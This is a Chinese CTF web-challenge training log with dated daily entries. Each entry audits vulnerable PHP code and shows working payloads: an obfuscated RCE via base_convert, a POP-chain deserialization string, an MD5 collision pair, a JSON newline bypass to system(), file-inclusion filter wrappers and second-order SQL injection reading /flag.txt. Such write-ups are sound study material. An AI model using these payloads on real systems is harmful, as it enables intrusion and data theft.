训练打卡 [TOC]
(持续更新中)! ,加油,变得更好。每天至少保证一道题!菜鸡想要蜕变!
第一天 10.22
ctfshow web124 考点:远程RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
步骤1:代码审计 通过代码审计可知,本题判断长度,传入的参数长度不能大于80,并且只能用指定的函数,
步骤2:构造$_GET 把参数逃逸出去 1 2 3 4 5 6 7 8 9 10 11 12 <?php // 把 hex2bin转化为10进制 echo base_convert("hex2bin", 36, 16); //37907361743 echo "<br>"; echo base_convert("8d3746fcf", 16, 36); //hex2bin echo "<br>"; //把_GET 先转为16进制再转为10进制 echo hexdec(bin2hex("_GET")); //1598506324 echo "<br>"; echo base_convert("8d3746fcf", 16, 36)(dechex("1598506324")); // 绕过过滤拿到 "_GET" ?>
payload如下:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php
其中 $$pi{abs}($$pi{acos}) #相当于 $_GET‘abs’ 本质上是动态函数调用
知识点: 1 2 3 4 base_convert #在任意进制之间转换数字。 hexdec #把十六进制转换为十进制。 dechex #把十进制转换为十六进制。 hex2bin #把十六进制的字符串转换为ASCII码
[网鼎杯 2020 朱雀组]phpweb 考点:代码审计,并有命令执行的基础和反序列化的基础
步骤1:抓包后代码审计! 由于界面一直刷新,无法看到有用的信息。
采用抓包的形式,查看右面代码发现好像前面是函数后面是参数,意思是用了call_user_func()函数。所以直接试一下查看源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ` <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>`
步骤2:反序列化 通过以上代码审计可知,可以反序列化得到flag。故
第二天10.23 EZ POP 考察点:PHP魔术方法的熟悉,POP链子的构造!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php //flag is in flag.php //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
步骤1:找到输出flag值的函数,然后以此找到其他方法! 通过代码审计,我们不难看出Modifier类中append()方法会将传入参数包含,而此处魔术方法invoke中设置了将Modifier类中的var属性作为传入值来调用append()函数,所以在这里需要让属性var的值为flag.php,再触发魔术方法invoke即可。魔术方法invoke被自动调用的条件是类被当成一个函数被调用,故接着来寻找和函数调用有关的代码。
步骤2:构造链子 所以我们的目标是要调用include函数,就要调用append方法,要调append()方法就要通过invoke(),invoke()是当类被作为函数调用时触发。
所以我们要调invoke()方法,就要Modifier被作为函数调用,可以通过Test类的get方法把p传入Modifier对象作为函数调用。
现在就要调get方法,当调用Test类不存在的属性时就会触发get方法。所以调用get方法就可以利用Show类的toString()方法,给str传入Test类,然后调source属性。source属性不存在就会调Test类的__get方法
现在就需要调用Show类的toString()方法,toString()方法是当类被当做字符输出是调用,所以,就利用Show的__construct方法触发,把source赋值为Show类
最终,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } } class Test{ public $p; } $a= new Show(); $file='index.php'; $a->source=new Show(); $a->source->str=new Test(); $a->source->str->p=new Modifier(); echo urlencode(serialize($a)); payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
需要注意是var直接=flag.php读取不出来源文件,所以需要伪协议读取!
[安洵杯 2019]easy_web 1 考点:编码的认识,
步骤1:找到可利用的东西 进入页面无东西,查看源码显示md5 is funny!但并没有有关url地址里cmd的东西,故只能拿img的地址下手,一看就是base加密!两次解密后得到 3535352e706e6。然后16进制转字符串为555.png。因此想到img为题目解所在。分别试一下flag.php和index.php和hint.php的16进制编码再两次base64编码!最终在index.php里找到如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>
步骤2:代码审计 重要的是这里
1 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
构造两个相等md5相等的字符串,且字符串本身不想等,给出例子:
1 2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
然后用命令执行即可!
第三天10.24 [GWCTF 2019]枯燥的抽奖1 考点:代码审计,种子爆破
步骤1:页面信息搜集 进入页面
F12查看源代码
进入check.php界面如下
步骤2:代码审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: text/html;charset=utf-8"); session_start(); if(!isset($_SESSION['seed'])){ $_SESSION['seed']=rand(0,999999999); } mt_srand($_SESSION['seed']); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } $str_show = substr($str, 0, 10); echo "<p id='p1'>".$str_show."</p>"; if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; } else{ echo "<p id=flag>没抽中哦,再试试吧</p>"; } } show_source("check.php");
利用php的伪随机性爆破,利用python脚本(白嫖的)
步骤3:爆破脚本
1 2 3 4 5 6 7 8 9 10 11 str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2 = 'zXGgRbXiep' str3 = str1[::-1] length = len(str2) res = '' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' ' break print(res)
将结果带入即可得到flag
1 2 3 4 5 6 7 8 9 <?php mt_srand(5181630); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } echo "<p id='p1'>".$str."</p>";
考点:
步骤1:信息收集
进入界面,无明显线索,随便发个帖子,便来到登陆界面
[MRCTF2020]套娃 考点:
第四天10.25 [FBCTF2019]RCEService1 考点:绕过preg_match正则匹配,关于路径和linux命令的相关知识
步骤1:代码审计 源码在哪里我也不知道,反正这个从网上找的- -
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?>
通过代码审计,正则匹配过滤了一堆,并且输入需要为json格式的cmd。
这里注意:preg_match只会去匹配第一行,所以这里可以用多行进行绕过
源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令
步骤2:构造payload 因为putenv('PATH=/home/rceservice/jail');
修改了环境变量,所以只能使用绝对路径使用cat命令,cat
命令在/bin
文件夹下
查看根目录文件:
1 ?cmd={%0A"cmd":"ls /home/rceservice"%0A}
获取flag:
1 ?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
BSidesCF 2019]Kookie 1 考点:信息搜集,如何cookie传值
步骤1:审计界面
提示要我用admin登录,先尝试一下用户密码admin登录,并没有登录成功!想到cookie/monster。于是在cookie里添加monster=admin,如下,获取到flag!
Cookie:monster=admin;username=admin
[CISCN2019 华北赛区 Day1 Web5]CyberPunk1 考点:信息页面搜四,代码审计,SQL二次注入
步骤1:审计界面
接入界面,按照操作生成订单这类的操作没什么有问题的回显,故换一个思路,在网页F12源码里有东西。
这里可能有一个文件包含,尝试payload,使用filter伪协议
1 http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
步骤2:代码审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php ini_set('open_basedir', '/var/www/html/'); // $file = $_GET["file"]; $file = (isset($_GET['file']) ? $_GET['file'] : null); if (isset($file)){ if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) { echo('no way!'); exit; } @include($file); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>index</title> <base href="./"> <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/custom-animations.css" rel="stylesheet"> <link href="assets/css/style.css" rel="stylesheet"> </head> <body> <div id="h"> <div class="container"> <h2>2077发售了,不来份实体典藏版吗?</h2> <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO--> <div class="row"> <div class="col-md-8 col-md-offset-2 centered"> <h3>提交订单</h3> <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded"> <p> <h3>姓名:</h3> <input type="text" class="subscribe-input" name="user_name"> <h3>电话:</h3> <input type="text" class="subscribe-input" name="phone"> <h3>地址:</h3> <input type="text" class="subscribe-input" name="address"> </p> <button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button> </form> </div> </div> </div> </div> <div id="f"> <div class="container"> <div class="row"> <h2 class="mb">订单管理</h2> <a href="./search.php"> <button class="btn btn-lg btn-register btn-white" >我要查订单</button> </a> <a href="./change.php"> <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button> </a> <a href="./delete.php"> <button class="btn btn-lg btn-register btn-white" >我不想要了</button> </a> </div> </div> </div> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/retina-1.1.0.js"></script> <script src="assets/js/jquery.unveilEffects.js"></script> </body> </html> <!--?file=?-->
接下来,如法炮制,得到confirm.php,change.php,search.php等页面的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php #change.php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php #search.php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); if(!$row) { echo 'error'; print_r($db->error); exit; } $msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>"; } else { $msg = "æªæ¾å°è®¢å!"; } }else { $msg = "ä¿¡æ¯ä¸å
¨"; } ?> #无用的HTML代码省略
分析代码可以知道,每个涉及查询的界面都过滤了很多东西来防止SQL注入,而且过滤的内容非常广泛,很难进行注入。
但是尽管username和phone过滤非常严格,而address却只是进行了简单的转义。经过分析便找到了可以利用的地方。这里提取了一些change.php中和address相关的部分。
1 2 3 4 5 6 7 8 9 10 $address = addslashes($_POST["address"]); if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; }
可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。
思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload
步骤3:构造payload 1 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
直接load_file不能显示全,这里分两次构造payload。
1 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
按照创造订单->修改订单地址为payload->修改订单地址为正常的数字即可获得flag第一部分,第二部分同理即可拿到完整flag!
总结: 总体来说,这道题还是很有难度的一道题!让我加深了对SQL,二次注入的理解!对页面信息搜集,代码审计能力的提高!以后多学习!
[极客大挑战 2019]Secret File 考点:
第五天10.28 因为各种考试,比赛很多,不得不耽误几天!
[护网杯 2018]easy_tornado 1 [极客大挑战 2019]PHP